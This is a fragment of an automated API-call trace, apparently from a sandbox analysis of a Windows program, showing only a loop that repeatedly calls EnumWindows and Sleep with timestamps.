EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.721] Sleep (dwMilliseconds=0x64) [0267.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.723] Sleep (dwMilliseconds=0x64) [0267.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.725] Sleep (dwMilliseconds=0x64) [0267.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.727] Sleep (dwMilliseconds=0x64) [0267.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.729] Sleep (dwMilliseconds=0x64) [0267.731] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.731] Sleep (dwMilliseconds=0x64) [0267.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.733] Sleep (dwMilliseconds=0x64) [0267.735] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.735] Sleep (dwMilliseconds=0x64) [0267.737] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.737] Sleep (dwMilliseconds=0x64) [0267.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.739] Sleep (dwMilliseconds=0x64) [0267.741] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.741] Sleep (dwMilliseconds=0x64) [0267.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.743] Sleep (dwMilliseconds=0x64) [0267.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.745] Sleep (dwMilliseconds=0x64) [0267.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.806] Sleep (dwMilliseconds=0x64) [0267.853] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.854] Sleep (dwMilliseconds=0x64) [0267.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.857] Sleep (dwMilliseconds=0x64) [0267.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.859] Sleep (dwMilliseconds=0x64) [0267.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.862] Sleep (dwMilliseconds=0x64) [0267.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.869] Sleep (dwMilliseconds=0x64) [0267.870] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.870] Sleep (dwMilliseconds=0x64) [0267.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.872] Sleep (dwMilliseconds=0x64) [0267.874] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.874] Sleep (dwMilliseconds=0x64) [0267.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.886] Sleep (dwMilliseconds=0x64) [0267.943] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.943] Sleep (dwMilliseconds=0x64) [0268.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.010] Sleep (dwMilliseconds=0x64) [0268.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.012] Sleep (dwMilliseconds=0x64) [0268.015] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.016] Sleep (dwMilliseconds=0x64) [0268.017] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.018] Sleep (dwMilliseconds=0x64) [0268.025] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.026] Sleep (dwMilliseconds=0x64) [0268.034] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.035] Sleep (dwMilliseconds=0x64) [0268.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.047] Sleep (dwMilliseconds=0x64) [0268.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.064] Sleep (dwMilliseconds=0x64) [0268.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.071] Sleep (dwMilliseconds=0x64) [0268.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.150] Sleep (dwMilliseconds=0x64) [0268.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.158] Sleep (dwMilliseconds=0x64) [0268.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.169] Sleep (dwMilliseconds=0x64) [0268.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.172] Sleep (dwMilliseconds=0x64) [0268.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.174] Sleep (dwMilliseconds=0x64) [0268.177] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.177] Sleep (dwMilliseconds=0x64) [0268.179] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.179] Sleep (dwMilliseconds=0x64) [0268.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.181] Sleep (dwMilliseconds=0x64) [0268.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.183] Sleep (dwMilliseconds=0x64) [0268.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.185] Sleep (dwMilliseconds=0x64) [0268.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.187] Sleep (dwMilliseconds=0x64) [0268.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.191] Sleep (dwMilliseconds=0x64) [0268.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.193] Sleep (dwMilliseconds=0x64) [0268.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.195] Sleep (dwMilliseconds=0x64) [0268.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.197] Sleep (dwMilliseconds=0x64) [0268.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.264] Sleep (dwMilliseconds=0x64) [0268.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.299] Sleep (dwMilliseconds=0x64) [0268.301] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.302] Sleep (dwMilliseconds=0x64) [0268.304] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.304] Sleep (dwMilliseconds=0x64) [0268.309] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.310] Sleep (dwMilliseconds=0x64) [0268.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.312] Sleep (dwMilliseconds=0x64) [0268.313] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.313] Sleep (dwMilliseconds=0x64) [0268.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.315] Sleep (dwMilliseconds=0x64) [0268.317] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.317] Sleep (dwMilliseconds=0x64) [0268.319] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.319] Sleep (dwMilliseconds=0x64) [0268.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.322] Sleep (dwMilliseconds=0x64) [0268.323] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.323] Sleep (dwMilliseconds=0x64) [0268.325] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.325] Sleep (dwMilliseconds=0x64) [0268.327] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.327] Sleep (dwMilliseconds=0x64) [0268.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.375] Sleep (dwMilliseconds=0x64) [0268.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.431] Sleep (dwMilliseconds=0x64) [0268.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.435] Sleep (dwMilliseconds=0x64) [0268.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.437] Sleep (dwMilliseconds=0x64) [0268.439] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.439] Sleep (dwMilliseconds=0x64) [0268.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.442] Sleep (dwMilliseconds=0x64) [0268.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.444] Sleep (dwMilliseconds=0x64) [0268.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.446] Sleep (dwMilliseconds=0x64) [0268.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.450] Sleep (dwMilliseconds=0x64) [0268.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.451] Sleep (dwMilliseconds=0x64) [0268.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.453] Sleep (dwMilliseconds=0x64) [0268.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.456] Sleep (dwMilliseconds=0x64) [0268.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.458] Sleep (dwMilliseconds=0x64) [0268.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.460] Sleep (dwMilliseconds=0x64) [0268.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.478] Sleep (dwMilliseconds=0x64) [0268.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.552] Sleep (dwMilliseconds=0x64) [0268.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.554] Sleep (dwMilliseconds=0x64) [0268.556] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.556] Sleep (dwMilliseconds=0x64) [0268.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.559] Sleep (dwMilliseconds=0x64) [0268.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.561] Sleep (dwMilliseconds=0x64) [0268.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.563] Sleep (dwMilliseconds=0x64) [0268.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.565] Sleep (dwMilliseconds=0x64) [0268.567] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.567] Sleep (dwMilliseconds=0x64) [0268.569] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.569] Sleep (dwMilliseconds=0x64) [0268.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.571] Sleep (dwMilliseconds=0x64) [0268.573] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.573] Sleep (dwMilliseconds=0x64) [0268.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.662] Sleep (dwMilliseconds=0x64) [0268.683] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.684] Sleep (dwMilliseconds=0x64) [0268.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.686] Sleep (dwMilliseconds=0x64) [0268.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.688] Sleep (dwMilliseconds=0x64) [0268.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.690] Sleep (dwMilliseconds=0x64) [0268.695] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.695] Sleep (dwMilliseconds=0x64) [0268.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.697] Sleep (dwMilliseconds=0x64) [0268.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.699] Sleep (dwMilliseconds=0x64) [0268.703] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.703] Sleep (dwMilliseconds=0x64) [0268.705] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.705] Sleep (dwMilliseconds=0x64) [0268.707] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.707] Sleep (dwMilliseconds=0x64) [0268.709] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.710] Sleep (dwMilliseconds=0x64) [0268.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.712] Sleep (dwMilliseconds=0x64) [0268.713] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.714] Sleep (dwMilliseconds=0x64) [0268.779] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.780] Sleep (dwMilliseconds=0x64) [0268.825] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.826] Sleep (dwMilliseconds=0x64) [0268.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.829] Sleep (dwMilliseconds=0x64) [0268.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.838] Sleep (dwMilliseconds=0x64) [0268.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.847] Sleep (dwMilliseconds=0x64) [0268.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.854] Sleep (dwMilliseconds=0x64) [0268.862] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.862] Sleep (dwMilliseconds=0x64) [0268.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.899] Sleep (dwMilliseconds=0x64) [0268.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.923] Sleep (dwMilliseconds=0x64) [0268.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.992] Sleep (dwMilliseconds=0x64) [0268.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.994] Sleep (dwMilliseconds=0x64) [0268.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.996] Sleep (dwMilliseconds=0x64) [0268.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0268.998] Sleep (dwMilliseconds=0x64) [0268.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.000] Sleep (dwMilliseconds=0x64) [0269.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.002] Sleep (dwMilliseconds=0x64) [0269.004] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.004] Sleep (dwMilliseconds=0x64) [0269.013] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.013] Sleep (dwMilliseconds=0x64) [0269.022] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.023] Sleep (dwMilliseconds=0x64) [0269.033] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.034] Sleep (dwMilliseconds=0x64) [0269.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.189] Sleep (dwMilliseconds=0x64) [0269.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.231] Sleep (dwMilliseconds=0x64) [0269.233] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.234] Sleep (dwMilliseconds=0x64) [0269.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.563] Sleep (dwMilliseconds=0x64) [0269.586] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.587] Sleep (dwMilliseconds=0x64) [0269.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.589] Sleep (dwMilliseconds=0x64) [0269.591] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.591] Sleep (dwMilliseconds=0x64) [0269.593] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.593] Sleep (dwMilliseconds=0x64) [0269.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.666] Sleep (dwMilliseconds=0x64) [0269.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.730] Sleep (dwMilliseconds=0x64) [0269.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.739] Sleep (dwMilliseconds=0x64) [0269.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.748] Sleep (dwMilliseconds=0x64) [0269.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.758] Sleep (dwMilliseconds=0x64) [0269.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.787] Sleep (dwMilliseconds=0x64) [0269.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.791] Sleep (dwMilliseconds=0x64) [0269.870] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.870] Sleep (dwMilliseconds=0x64) [0269.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.872] Sleep (dwMilliseconds=0x64) [0269.874] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.874] Sleep (dwMilliseconds=0x64) [0269.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.876] Sleep (dwMilliseconds=0x64) [0269.877] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.878] Sleep (dwMilliseconds=0x64) [0269.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.879] Sleep (dwMilliseconds=0x64) [0269.882] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.882] Sleep (dwMilliseconds=0x64) [0269.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.884] Sleep (dwMilliseconds=0x64) [0269.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.886] Sleep (dwMilliseconds=0x64) [0269.887] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.888] Sleep (dwMilliseconds=0x64) [0269.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.890] Sleep (dwMilliseconds=0x64) [0269.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.892] Sleep (dwMilliseconds=0x64) [0269.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.894] Sleep (dwMilliseconds=0x64) [0269.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.896] Sleep (dwMilliseconds=0x64) [0269.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.898] Sleep (dwMilliseconds=0x64) [0269.900] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.901] Sleep (dwMilliseconds=0x64) [0269.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.903] Sleep (dwMilliseconds=0x64) [0269.953] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0269.954] Sleep (dwMilliseconds=0x64) [0270.034] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.034] Sleep (dwMilliseconds=0x64) [0270.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.062] Sleep (dwMilliseconds=0x64) [0270.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.064] Sleep (dwMilliseconds=0x64) [0270.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.065] Sleep (dwMilliseconds=0x64) [0270.067] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.068] Sleep (dwMilliseconds=0x64) [0270.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.070] Sleep (dwMilliseconds=0x64) [0270.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.072] Sleep (dwMilliseconds=0x64) [0270.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.074] Sleep (dwMilliseconds=0x64) [0270.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.076] Sleep (dwMilliseconds=0x64) [0270.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.078] Sleep (dwMilliseconds=0x64) [0270.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.080] Sleep (dwMilliseconds=0x64) [0270.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.082] Sleep (dwMilliseconds=0x64) [0270.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.084] Sleep (dwMilliseconds=0x64) [0270.086] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.086] Sleep (dwMilliseconds=0x64) [0270.090] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.090] Sleep (dwMilliseconds=0x64) [0270.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.092] Sleep (dwMilliseconds=0x64) [0270.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.094] Sleep (dwMilliseconds=0x64) [0270.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.096] Sleep (dwMilliseconds=0x64) [0270.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.098] Sleep (dwMilliseconds=0x64) [0270.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.100] Sleep (dwMilliseconds=0x64) [0270.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.102] Sleep (dwMilliseconds=0x64) [0270.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.104] Sleep (dwMilliseconds=0x64) [0270.113] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.113] Sleep (dwMilliseconds=0x64) [0270.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.185] Sleep (dwMilliseconds=0x64) [0270.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.221] Sleep (dwMilliseconds=0x64) [0270.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.250] Sleep (dwMilliseconds=0x64) [0270.419] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.420] Sleep (dwMilliseconds=0x64) [0270.467] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.468] Sleep (dwMilliseconds=0x64) [0270.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.471] Sleep (dwMilliseconds=0x64) [0270.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.473] Sleep (dwMilliseconds=0x64) [0270.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.475] Sleep (dwMilliseconds=0x64) [0270.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.477] Sleep (dwMilliseconds=0x64) [0270.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.486] Sleep (dwMilliseconds=0x64) [0270.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.488] Sleep (dwMilliseconds=0x64) [0270.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.490] Sleep (dwMilliseconds=0x64) [0270.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.494] Sleep (dwMilliseconds=0x64) [0270.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.497] Sleep (dwMilliseconds=0x64) [0270.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.552] Sleep (dwMilliseconds=0x64) [0270.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.615] Sleep (dwMilliseconds=0x64) [0270.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.617] Sleep (dwMilliseconds=0x64) [0270.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.619] Sleep (dwMilliseconds=0x64) [0270.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.620] Sleep (dwMilliseconds=0x64) [0270.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.623] Sleep (dwMilliseconds=0x64) [0270.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.625] Sleep (dwMilliseconds=0x64) [0270.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.626] Sleep (dwMilliseconds=0x64) [0270.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.629] Sleep (dwMilliseconds=0x64) [0270.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.631] Sleep (dwMilliseconds=0x64) [0270.633] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.634] Sleep (dwMilliseconds=0x64) [0270.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.636] Sleep (dwMilliseconds=0x64) [0270.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.638] Sleep (dwMilliseconds=0x64) [0270.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.640] Sleep (dwMilliseconds=0x64) [0270.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.642] Sleep (dwMilliseconds=0x64) [0270.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.685] Sleep (dwMilliseconds=0x64) [0270.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.694] Sleep (dwMilliseconds=0x64) [0270.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.752] Sleep (dwMilliseconds=0x64) [0270.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.761] Sleep (dwMilliseconds=0x64) [0270.769] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.770] Sleep (dwMilliseconds=0x64) [0270.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.779] Sleep (dwMilliseconds=0x64) [0270.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.787] Sleep (dwMilliseconds=0x64) [0270.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.809] Sleep (dwMilliseconds=0x64) [0270.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.893] Sleep (dwMilliseconds=0x64) [0270.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.899] Sleep (dwMilliseconds=0x64) [0270.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.902] Sleep (dwMilliseconds=0x64) [0270.930] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0270.931] Sleep (dwMilliseconds=0x64) [0271.005] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.005] Sleep (dwMilliseconds=0x64) [0271.013] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.014] Sleep (dwMilliseconds=0x64) [0271.044] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.045] Sleep (dwMilliseconds=0x64) [0271.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.053] Sleep (dwMilliseconds=0x64) [0271.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.055] Sleep (dwMilliseconds=0x64) [0271.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.063] Sleep (dwMilliseconds=0x64) [0271.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.071] Sleep (dwMilliseconds=0x64) [0271.075] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.076] Sleep (dwMilliseconds=0x64) [0271.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.126] Sleep (dwMilliseconds=0x64) [0271.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.183] Sleep (dwMilliseconds=0x64) [0271.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.186] Sleep (dwMilliseconds=0x64) [0271.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.188] Sleep (dwMilliseconds=0x64) [0271.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.190] Sleep (dwMilliseconds=0x64) [0271.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.192] Sleep (dwMilliseconds=0x64) [0271.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.194] Sleep (dwMilliseconds=0x64) [0271.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.212] Sleep (dwMilliseconds=0x64) [0271.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.260] Sleep (dwMilliseconds=0x64) [0271.325] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.326] Sleep (dwMilliseconds=0x64) [0271.328] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.328] Sleep (dwMilliseconds=0x64) [0271.330] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.330] Sleep (dwMilliseconds=0x64) [0271.333] 